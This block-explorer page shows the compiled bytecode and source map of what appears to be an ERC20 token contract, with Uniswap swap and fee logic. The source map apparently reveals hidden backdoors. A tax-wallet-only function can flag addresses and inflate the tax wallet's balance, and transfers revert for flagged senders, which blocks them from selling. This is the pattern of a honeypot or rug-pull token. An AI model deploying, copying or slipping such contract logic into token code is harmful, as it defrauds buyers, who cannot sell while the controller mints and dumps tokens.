20549190610df8565b61096b565b5060015b9392505050565b6000546001600160a01b031633146106a65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60606002805461046490611549565b600061063c338484610a8f565b6000546001600160a01b031633146107675760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161069d565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b957600080fd5b505afa1580156107cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f191906112bb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561083957600080fd5b505afa15801561084d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087191906112bb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108b957600080fd5b505af11580156108cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f191906112bb565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b6001600160a01b0383166109cd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161069d565b6001600160a01b038216610a2e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161069d565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610af55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161069d565b6001600160a01b038316610b575760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161069d565b600d5460ff1615610b7457610b6d848484610e32565b9050610640565b30600090815260046020526040902054600d5460ff16158015610bb057506001600160a01b03851660009081526008602052604090205460ff16155b15610bbe57610bbe81610f18565b6001600160a01b038516600090815260046020526040902054610be190846110f9565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610c2e57506001600160a01b03851660009081526007602052604090205460ff165b15610c3a575082610d6e565b6001600160a01b03861660009081526008602052604081205460ff1615610c8257610c7b6064610c75600a548861113b90919063ffffffff16565b906111ba565b9050610cc0565b6001600160a01b03861660009081526008602052604090205460ff1615610cc057610cbd6064610c75600b548861113b90919063ffffffff16565b90505b8015610d3a5730600090815260046020526040902054610ce090826111fc565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d319085815260200190565b60405180910390a35b6001600160a01b03871660009081526009602052604090205460ff1615610d6057600080fd5b610d6a85826110f9565b9150505b6001600160a01b038516600090815260046020526040902054610d9190826111fc565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610de59085815260200190565b60405180910390a3600192505050610640565b60008184841115610e1c5760405162461bcd60e51b815260040161069d9190611413565b506000610e298486611532565b95945050505050565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e83918490610df8565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610eb290836111fc565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f069086815260200190565b60405180910390a35060019392505050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f5a57610f5a6115b5565b60200260200101906001600160a01b031690816001600160a01b031681525050600d60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc857600080fd5b505afa158015610fdc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100091906112bb565b81600181518110611013576110136115b5565b6001600160a01b039283166020918202929092010152600d5461103e9130916101009004168461096b565b600d5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac9479061107b908590600090869030904290600401611468565b600060405180830381600087803b15801561109557600080fd5b505af19250505080156110a6575060015b504780156110ea576005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110e8573d6000803e3d6000fd5b505b5050600d805460ff1916905550565b600061064083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610df8565b60008261114a575060006104f8565b60006111568385611513565b90508261116385836114f1565b146106405760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161069d565b600061064083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061125b565b60008061120983856114d9565b9050838110156106405760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161069d565b6000818361127c5760405162461bcd60e51b815260040161069d9190611413565b506000610e2984866114f1565b8035801515811461129957600080fd5b919050565b6000602082840312156112b057600080fd5b8135610640816115cb565b6000602082840312156112cd57600080fd5b8151610640816115cb565b600080604083850312156112eb57600080fd5b82356112f6816115cb565b91506020830135611306816115cb565b809150509250929050565b60008060006060848603121561132657600080fd5b8335611331816115cb565b92506020840135611341816115cb565b929592945050506040919091013590565b6000806040838503121561136557600080fd5b8235611370816115cb565b946020939093013593505050565b6000806000806060858703121561139457600080fd5b843567ffffffffffffffff808211156113ac57600080fd5b818701915087601f8301126113c057600080fd5b8135818111156113cf57600080fd5b8860208260051b85010111156113e457600080fd5b6020928301965094506113fa9187019050611289565b915061140860408601611289565b905092959194509250565b600060208083528351808285015260005b8181101561144057858101830151858201604001528201611424565b81811115611452576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114b85784516001600160a01b031683529383019391830191600101611493565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156114ec576114ec61159f565b500190565b60008261150e57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561152d5761152d61159f565b500290565b6000828210156115445761154461159f565b500390565b600181811c9082168061155d57607f821691505b6020821081141561157e57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115985761159861159f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146115e057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c4b61aed3476eea6562dcf2b316952fd96ba114903db34de7375b09cfb1464c164736f6c63430008070033
Deployed Bytecode Sourcemap
4841:6405:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6226:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7337:161;;;;;;;;;;-1:-1:-1;7337:161:0;;;;;:::i;:::-;;:::i;:::-;;;3529:14:1;;3522:22;3504:41;;3492:2;3477:18;7337:161:0;3364:187:1;6317:41:0;;;;;;;;;;-1:-1:-1;6317:41:0;;;;;;;-1:-1:-1;;;;;6317:41:0;;;;;;-1:-1:-1;;;;;2787:32:1;;;2769:51;;2757:2;2742:18;6317:41:0;2623:203:1;6118:100:0;;;;;;;;;;-1:-1:-1;6198:12:0;;6118:100;;;7275:25:1;;;7263:2;7248:18;6118:100:0;7129:177:1;6365:345:0;;;;;;;;;;-1:-1:-1;6365:345:0;;;;;:::i;:::-;;:::i;:::-;;10928:313;;;;;;;;;;-1:-1:-1;10928:313:0;;;;;:::i;:::-;;:::i;7246:83::-;;;;;;;;;;-1:-1:-1;7312:9:0;;7246:83;;7312:9;;;;8438:36:1;;8426:2;8411:18;7246:83:0;8296:184:1;5212:50:0;;;;;;;;;;-1:-1:-1;5212:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5269:45;;;;;;;;;;-1:-1:-1;5269:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7119:119;;;;;;;;;;-1:-1:-1;7119:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7212:18:0;7185:7;7212:18;;;:9;:18;;;;;;;7119:119;2725:157;;;;;;;;;;-1:-1:-1;2725:157:0;;;;;:::i;:::-;;:::i;5321:44::-;;;;;;;;;;-1:-1:-1;5321:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;2519:79;;;;;;;;;;-1:-1:-1;2557:7:0;2584:6;-1:-1:-1;;;;;2584:6:0;2519:79;;6023:87;;;;;;;;;;;;;:::i;10751:167::-;;;;;;;;;;-1:-1:-1;10751:167:0;;;;;:::i;:::-;;:::i;8150:467::-;;;;;;;;;;;;;:::i;5374:35::-;;;;;;;;;;;;;;;;6720:26;;;;;;;;;;-1:-1:-1;6720:26:0;;;;-1:-1:-1;;;;;6720:26:0;;;5416:36;;;;;;;;;;;;;;;;8963:143;;;;;;;;;;-1:-1:-1;8963:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;9071:18:0;;;9044:7;9071:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8963:143;5093:34;;;;;;;;;;-1:-1:-1;5093:34:0;;;;-1:-1:-1;;;;;5093:34:0;;;6226:83;6263:13;6296:5;6289:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6226:83;:::o;7337:161::-;7412:4;7429:39;1401:10;7452:7;7461:6;7429:8;:39::i;:::-;-1:-1:-1;7486:4:0;7337:161;;;;;:::o;6365:345::-;6481:11;;-1:-1:-1;;;;;6481:11:0;1401:10;-1:-1:-1;;;;;6465:27:0;;6457:36;;;;;;6509:9;6504:104;6520:20;;;6504:104;;;6590:6;6562:11;:25;6574:9;;6584:1;6574:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;6562:25:0;;;;;;;;;;;;-1:-1:-1;6562:25:0;:34;;-1:-1:-1;;6562:34:0;;;;;;;;;;6542:3;;;;:::i;:::-;;;;6504:104;;;;6622:7;6618:82;;;6686:12;;6659:40;;6668:6;6659:40;:::i;:::-;6641:11;;-1:-1:-1;;;;;6641:11:0;6631:22;;;;:9;:22;;;;;:69;;:22;;;:69;;;;;:::i;:::-;;;;-1:-1:-1;;6618:82:0;6365:345;;;;:::o;10928:313::-;11026:4;11043:36;11053:6;11061:9;11072:6;11043:9;:36::i;:::-;-1:-1:-1;11090:121:0;11099:6;1401:10;11121:89;11159:6;11121:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11121:19:0;;;;;;:11;:19;;;;;;;;1401:10;11121:33;;;;;;;;;;:37;:89::i;:::-;11090:8;:121::i;:::-;-1:-1:-1;11229:4:0;10928:313;;;;;;:::o;2725:157::-;2432:6;;-1:-1:-1;;;;;2432:6:0;1401:10;2432:22;2424:67;;;;-1:-1:-1;;;2424:67:0;;6159:2:1;2424:67:0;;;6141:21:1;;;6178:18;;;6171:30;6237:34;6217:18;;;6210:62;6289:18;;2424:67:0;;;;;;;;;2799:6:::1;:19:::0;;-1:-1:-1;;;;;;2799:19:0::1;-1:-1:-1::0;;;;;2799:19:0;::::1;::::0;;::::1;::::0;;2834:40:::1;::::0;2799:19;;;;2834:40:::1;::::0;2799:6;2834:40:::1;2725:157:::0;:::o;6023:87::-;6062:13;6095:7;6088:14;;;;;:::i;10751:167::-;10829:4;10846:42;1401:10;10870:9;10881:6;10846:9;:42::i;8150:467::-;2432:6;;-1:-1:-1;;;;;2432:6:0;1401:10;2432:22;2424:67;;;;-1:-1:-1;;;2424:67:0;;6159:2:1;2424:67:0;;;6141:21:1;;;6178:18;;;6171:30;6237:34;6217:18;;;6210:62;6289:18;;2424:67:0;5957:356:1;2424:67:0;8199:35:::1;8256:42;8199:100;;8342:16;-1:-1:-1::0;;;;;8342:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8324:70:0::1;;8403:4;8410:16;-1:-1:-1::0;;;;;8410:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8324:110;::::0;-1:-1:-1;;;;;;8324:110:0::1;::::0;;;;;;-1:-1:-1;;;;;3285:15:1;;;8324:110:0::1;::::0;::::1;3267:34:1::0;3337:15;;3317:18;;;3310:43;3202:18;;8324:110:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8310:11;:124:::0;;-1:-1:-1;;;;;;8310:124:0::1;-1:-1:-1::0;;;;;8310:124:0;;::::1;;::::0;;8445:15:::1;:34:::0;;-1:-1:-1;;;;;;8445:34:0::1;8310:124;8445:34:::0;;::::1;::::0;::::1;;::::0;;;;8545:12:::1;::::0;8510:4:::1;-1:-1:-1::0;8490:26:0;;;:11:::1;:26;::::0;;;;;;;8525:15;;;::::1;::::0;::::1;8490:52:::0;;;;;;;;:67;;;;8589:11;;;;::::1;8568:34:::0;;:12:::1;:34:::0;;;;;:41;;-1:-1:-1;;8568:41:0::1;-1:-1:-1::0;8568:41:0::1;::::0;;8150:467::o;5671:337::-;-1:-1:-1;;;;;5764:19:0;;5756:68;;;;-1:-1:-1;;;5756:68:0;;6926:2:1;5756:68:0;;;6908:21:1;6965:2;6945:18;;;6938:30;7004:34;6984:18;;;6977:62;-1:-1:-1;;;7055:18:1;;;7048:34;7099:19;;5756:68:0;6724:400:1;5756:68:0;-1:-1:-1;;;;;5843:21:0;;5835:68;;;;-1:-1:-1;;;5835:68:0;;4998:2:1;5835:68:0;;;4980:21:1;5037:2;5017:18;;;5010:30;5076:34;5056:18;;;5049:62;-1:-1:-1;;;5127:18:1;;;5120:32;5169:19;;5835:68:0;4796:398:1;5835:68:0;-1:-1:-1;;;;;5916:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5968:32;;7275:25:1;;;5968:32:0;;7248:18:1;5968:32:0;;;;;;;5671:337;;;:::o;9114:1629::-;9192:4;-1:-1:-1;;;;;9219:18:0;;9211:68;;;;-1:-1:-1;;;9211:68:0;;6520:2:1;9211:68:0;;;6502:21:1;6559:2;6539:18;;;6532:30;6598:34;6578:18;;;6571:62;-1:-1:-1;;;6649:18:1;;;6642:35;6694:19;;9211:68:0;6318:401:1;9211:68:0;-1:-1:-1;;;;;9298:16:0;;9290:64;;;;-1:-1:-1;;;9290:64:0;;4594:2:1;9290:64:0;;;4576:21:1;4633:2;4613:18;;;4606:30;4672:34;4652:18;;;4645:62;-1:-1:-1;;;4723:18:1;;;4716:33;4766:19;;9290:64:0;4392:399:1;9290:64:0;9370:16;;;;9367:1369;;;9419:32;9434:4;9440:2;9444:6;9419:14;:32::i;:::-;9412:39;;;;9367:1369;9552:4;9503:28;7212:18;;;:9;:18;;;;;;9578:16;;;;9577:17;:40;;;;-1:-1:-1;;;;;;9599:18:0;;;;;;:12;:18;;;;;;;;9598:19;9577:40;9573:131;;;9652:36;9667:20;9652:14;:36::i;:::-;-1:-1:-1;;;;;9738:15:0;;;;;;:9;:15;;;;;;:27;;9758:6;9738:19;:27::i;:::-;-1:-1:-1;;;;;9720:15:0;;;;;;:9;:15;;;;;;;;:45;;;;9820:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;9847:21:0;;;;;;:17;:21;;;;;;;;9820:48;9816:757;;;-1:-1:-1;9902:6:0;9816:757;;;-1:-1:-1;;;;;9992:18:0;;9947:17;9992:18;;;:12;:18;;;;;;;;9989:252;;;10047:37;10080:3;10047:28;10058:16;;10047:6;:10;;:28;;;;:::i;:::-;:32;;:37::i;:::-;10035:49;;9989:252;;;-1:-1:-1;;;;;10130:16:0;;;;;;:12;:16;;;;;;;;10127:114;;;10183:38;10217:3;10183:29;10194:17;;10183:6;:10;;:29;;;;:::i;:38::-;10171:50;;10127:114;10264:13;;10261:195;;10347:4;10329:24;;;;:9;:24;;;;;;:39;;10358:9;10329:28;:39::i;:::-;10320:4;10302:24;;;;:9;:24;;;;;;;:66;;;;10396:40;;-1:-1:-1;;;;;10396:40:0;;;;;;;10426:9;7275:25:1;;7263:2;7248:18;;7129:177;10396:40:0;;;;;;;;10261:195;-1:-1:-1;;;;;10483:17:0;;;;;;:11;:17;;;;;;;;10482:18;10474:27;;;;;;10536:21;:6;10547:9;10536:10;:21::i;:::-;10522:35;;9928:645;9816:757;-1:-1:-1;;;;;10617:13:0;;;;;;:9;:13;;;;;;:30;;10635:11;10617:17;:30::i;:::-;-1:-1:-1;;;;;10601:13:0;;;;;;;:9;:13;;;;;;;:46;;;;10667:31;;;;;;;;;;10686:11;7275:25:1;;7263:2;7248:18;;7129:177;10667:31:0;;;;;;;;10720:4;10713:11;;;;;;3248:192;3334:7;3370:12;3362:6;;;;3354:29;;;;-1:-1:-1;;;3354:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3394:9:0;3406:5;3410:1;3406;:5;:::i;:::-;3394:17;3248:192;-1:-1:-1;;;;;3248:192:0:o;8625:330::-;8755:53;;;;;;;;;;;-1:-1:-1;;;8755:53:0;;;;;;;;-1:-1:-1;;;;;8755:17:0;;8718:4;8755:17;;;:9;:17;;;;;;;:53;;8777:6;;8755:21;:53::i;:::-;-1:-1:-1;;;;;8735:17:0;;;;;;;:9;:17;;;;;;:73;;;;8842:20;;;;;;;:32;;8867:6;8842:24;:32::i;:::-;-1:-1:-1;;;;;8819:20:0;;;;;;;:9;:20;;;;;;;:55;;;;8890:35;;;;;;;;;;8918:6;7275:25:1;;7263:2;7248:18;;7129:177;8890:35:0;;;;;;;;-1:-1:-1;8943:4:0;8625:330;;;;;:::o;7506:636::-;5585:16;:23;;-1:-1:-1;;5585:23:0;5604:4;5585:23;;;7612:16:::1;::::0;;7626:1:::1;7612:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7612:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7612:16:0::1;7588:40;;7657:4;7639;7644:1;7639:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;7639:23:0::1;;;-1:-1:-1::0;;;;;7639:23:0::1;;;::::0;::::1;7683:15;;;;;;;;;-1:-1:-1::0;;;;;7683:15:0::1;-1:-1:-1::0;;;;;7683:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7673:4;7678:1;7673:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7673:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;7750:15:::1;::::0;7718:58:::1;::::0;7735:4:::1;::::0;7750:15:::1;::::0;::::1;;7768:7:::0;7718:8:::1;:58::i;:::-;7793:15;::::0;:193:::1;::::0;-1:-1:-1;;;7793:193:0;;:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;7793:15:0::1;::::0;:66:::1;::::0;:193:::1;::::0;7874:7;;7896:1:::1;::::0;7913:4;;7940::::1;::::0;7960:15:::1;::::0;7793:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;7789:208:::0;8032:21:::1;8069:16:::0;;8066:68:::1;;8100:11;::::0;:34:::1;::::0;-1:-1:-1;;;;;8100:11:0;;::::1;::::0;:34;::::1;;;::::0;8121:12;;8100:11:::1;:34:::0;:11;:34;8121:12;8100:11;:34;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8066:68;-1:-1:-1::0;;5631:16:0;:24;;-1:-1:-1;;5631:24:0;;;-1:-1:-1;7506:636:0:o;3104:136::-;3162:7;3189:43;3193:1;3196;3189:43;;;;;;;;;;;;;;;;;:3;:43::i;3448:248::-;3506:7;3530:6;3526:47;;-1:-1:-1;3560:1:0;3553:8;;3526:47;3583:9;3595:5;3599:1;3595;:5;:::i;:::-;3583:17;-1:-1:-1;3628:1:0;3619:5;3623:1;3583:17;3619:5;:::i;:::-;:10;3611:56;;;;-1:-1:-1;;;3611:56:0;;5757:2:1;3611:56:0;;;5739:21:1;5796:2;5776:18;;;5769:30;5835:34;5815:18;;;5808:62;-1:-1:-1;;;5886:18:1;;;5879:31;5927:19;;3611:56:0;5555:397:1;3704:132:0;3762:7;3789:39;3793:1;3796;3789:39;;;;;;;;;;;;;;;;;:3;:39::i;2915:181::-;2973:7;;3005:5;3009:1;3005;:5;:::i;:::-;2993:17;;3034:1;3029;:6;;3021:46;;;;-1:-1:-1;;;3021:46:0;;5401:2:1;3021:46:0;;;5383:21:1;5440:2;5420:18;;;5413:30;5479:29;5459:18;;;5452:57;5526:18;;3021:46:0;5199:351:1;3844:189:0;3930:7;3965:12;3958:5;3950:28;;;;-1:-1:-1;;;3950:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3989:9:0;4001:5;4005:1;4001;:5;:::i;14:160:1:-;79:20;;135:13;;128:21;118:32;;108:60;;164:1;161;154:12;108:60;14:160;;;:::o;179:247::-;238:6;291:2;279:9;270:7;266:23;262:32;259:52;;;307:1;304;297:12;259:52;346:9;333:23;365:31;390:5;365:31;:::i;431:251::-;501:6;554:2;542:9;533:7;529:23;525:32;522:52;;;570:1;567;560:12;522:52;602:9;596:16;621:31;646:5;621:31;:::i;687:388::-;755:6;763;816:2;804:9;795:7;791:23;787:32;784:52;;;832:1;829;822:12;784:52;871:9;858:23;890:31;915:5;890:31;:::i;:::-;940:5;-1:-1:-1;997:2:1;982:18;;969:32;1010:33;969:32;1010:33;:::i;:::-;1062:7;1052:17;;;687:388;;;;;:::o;1080:456::-;1157:6;1165;1173;1226:2;1214:9;1205:7;1201:23;1197:32;1194:52;;;1242:1;1239;1232:12;1194:52;1281:9;1268:23;1300:31;1325:5;1300:31;:::i;:::-;1350:5;-1:-1:-1;1407:2:1;1392:18;;1379:32;1420:33;1379:32;1420:33;:::i;:::-;1080:456;;1472:7;;-1:-1:-1;;;1526:2:1;1511:18;;;;1498:32;;1080:456::o;1541:315::-;1609:6;1617;1670:2;1658:9;1649:7;1645:23;1641:32;1638:52;;;1686:1;1683;1676:12;1638:52;1725:9;1712:23;1744:31;1769:5;1744:31;:::i;:::-;1794:5;1846:2;1831:18;;;;1818:32;;-1:-1:-1;;;1541:315:1:o;1861:757::-;1959:6;1967;1975;1983;2036:2;2024:9;2015:7;2011:23;2007:32;2004:52;;;2052:1;2049;2042:12;2004:52;2092:9;2079:23;2121:18;2162:2;2154:6;2151:14;2148:34;;;2178:1;2175;2168:12;2148:34;2216:6;2205:9;2201:22;2191:32;;2261:7;2254:4;2250:2;2246:13;2242:27;2232:55;;2283:1;2280;2273:12;2232:55;2323:2;2310:16;2349:2;2341:6;2338:14;2335:34;;;2365:1;2362;2355:12;2335:34;2420:7;2413:4;2403:6;2400:1;2396:14;2392:2;2388:23;2384:34;2381:47;2378:67;;;2441:1;2438;2431:12;2378:67;2472:4;2464:13;;;;-1:-1:-1;2496:6:1;-1:-1:-1;2521:37:1;;2537:20;;;-1:-1:-1;2521:37:1;:::i;:::-;2511:47;;2577:35;2608:2;2597:9;2593:18;2577:35;:::i;:::-;2567:45;;1861:757;;;;;;;:::o;3790:597::-;3902:4;3931:2;3960;3949:9;3942:21;3992:6;3986:13;4035:6;4030:2;4019:9;4015:18;4008:34;4060:1;4070:140;4084:6;4081:1;4078:13;4070:140;;;4179:14;;;4175:23;;4169:30;4145:17;;;4164:2;4141:26;4134:66;4099:10;;4070:140;;;4228:6;4225:1;4222:13;4219:91;;;4298:1;4293:2;4284:6;4273:9;4269:22;4265:31;4258:42;4219:91;-1:-1:-1;4371:2:1;4350:15;-1:-1:-1;;4346:29:1;4331:45;;;;4378:2;4327:54;;3790:597;-1:-1:-1;;;3790:597:1:o;7311:980::-;7573:4;7621:3;7610:9;7606:19;7652:6;7641:9;7634:25;7678:2;7716:6;7711:2;7700:9;7696:18;7689:34;7759:3;7754:2;7743:9;7739:18;7732:31;7783:6;7818;7812:13;7849:6;7841;7834:22;7887:3;7876:9;7872:19;7865:26;;7926:2;7918:6;7914:15;7900:29;;7947:1;7957:195;7971:6;7968:1;7965:13;7957:195;;;8036:13;;-1:-1:-1;;;;;8032:39:1;8020:52;;8127:15;;;;8092:12;;;;8068:1;7986:9;7957:195;;;-1:-1:-1;;;;;;;8208:32:1;;;;8203:2;8188:18;;8181:60;-1:-1:-1;;;8272:3:1;8257:19;8250:35;8169:3;7311:980;-1:-1:-1;;;7311:980:1:o;8485:128::-;8525:3;8556:1;8552:6;8549:1;8546:13;8543:39;;;8562:18;;:::i;:::-;-1:-1:-1;8598:9:1;;8485:128::o;8618:217::-;8658:1;8684;8674:132;;8728:10;8723:3;8719:20;8716:1;8709:31;8763:4;8760:1;8753:15;8791:4;8788:1;8781:15;8674:132;-1:-1:-1;8820:9:1;;8618:217::o;8840:168::-;8880:7;8946:1;8942;8938:6;8934:14;8931:1;8928:21;8923:1;8916:9;8909:17;8905:45;8902:71;;;8953:18;;:::i;:::-;-1:-1:-1;8993:9:1;;8840:168::o;9013:125::-;9053:4;9081:1;9078;9075:8;9072:34;;;9086:18;;:::i;:::-;-1:-1:-1;9123:9:1;;9013:125::o;9143:380::-;9222:1;9218:12;;;;9265;;;9286:61;;9340:4;9332:6;9328:17;9318:27;;9286:61;9393:2;9385:6;9382:14;9362:18;9359:38;9356:161;;;9439:10;9434:3;9430:20;9427:1;9420:31;9474:4;9471:1;9464:15;9502:4;9499:1;9492:15;9356:161;;9143:380;;;:::o;9528:135::-;9567:3;-1:-1:-1;;9588:17:1;;9585:43;;;9608:18;;:::i;:::-;-1:-1:-1;9655:1:1;9644:13;;9528:135::o;9668:127::-;9729:10;9724:3;9720:20;9717:1;9710:31;9760:4;9757:1;9750:15;9784:4;9781:1;9774:15;9800:127;9861:10;9856:3;9852:20;9849:1;9842:31;9892:4;9889:1;9882:15;9916:4;9913:1;9906:15;10064:131;-1:-1:-1;;;;;10139:31:1;;10129:42;;10119:70;;10185:1;10182;10175:12;10119:70;10064:131;:::o
Swarm Source
ipfs://c4b61aed3476eea6562dcf2b316952fd96ba114903db34de7375b09cfb1464c1
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 34 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.